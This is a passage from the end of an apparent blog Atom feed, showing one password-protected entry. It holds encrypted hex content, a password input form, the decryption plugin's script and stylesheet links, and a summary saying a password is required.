c5bb1886ffa28a749fa27ce8dc5944bb2365c22e18a9ed0e53b8c2d20c6c5420e4e76ffec0ef1840378f53367ccdca02824f51a4b4c19e834c101edc111186ceabdaeb5f0e4d4ba43d8b985cdfed2bc734724f58c1a5f78366cd95a3ba42b2c2a308bc2e2af81bd1c15ef202aed3b9ead64babdb49c03924c9b2e8ec8c5e733b04c</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
  </entry>
  
</feed>
